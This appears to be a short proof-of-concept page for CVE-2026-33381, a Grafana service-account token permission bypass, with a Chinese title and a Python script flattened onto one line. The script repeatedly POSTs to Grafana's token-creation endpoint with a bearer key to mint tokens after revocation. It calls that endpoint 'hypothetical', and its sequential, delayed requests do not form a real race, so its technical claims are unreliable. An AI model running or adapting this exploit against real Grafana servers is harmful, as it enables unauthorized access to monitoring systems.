CVE-2026-33381 Grafana服务账户令牌权限绕过漏洞

import requests import time # Conceptual PoC for Race Condition in Token Minting after Revocation # Target: Grafana Service Account Token API def exploit_race_condition(target_url, service_account_id, api_key): headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json" } # Endpoint typically used to create tokens (hypothetical based on Grafana API structure) endpoint = f"{target_url}/api/serviceaccounts/{service_account_id}/tokens" print("[+] Initiating PoC for CVE-2026-33381...") print("[*] Sending concurrent requests to exploit the revocation window...") # Simulate rapid attempts to mint a token right after revocation for i in range(20): try: payload = {"name": f"poc_token_{i}"} response = requests.post(endpoint, headers=headers, json=payload, timeout=2) if response.status_code == 200 or response.status_code == 201: print(f"[+] Exploit Successful! Token created on attempt {i+1}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Attempt {i+1} failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error during attempt {i+1}: {e}") # Minimal delay to maximize chances within the few-second window time.sleep(0.1) print("[-] Exploit window likely closed or permission revoked successfully.") return False # Usage example (requires valid target context) # exploit_race_condition("http://target-grafana", 1, "admin_api_key")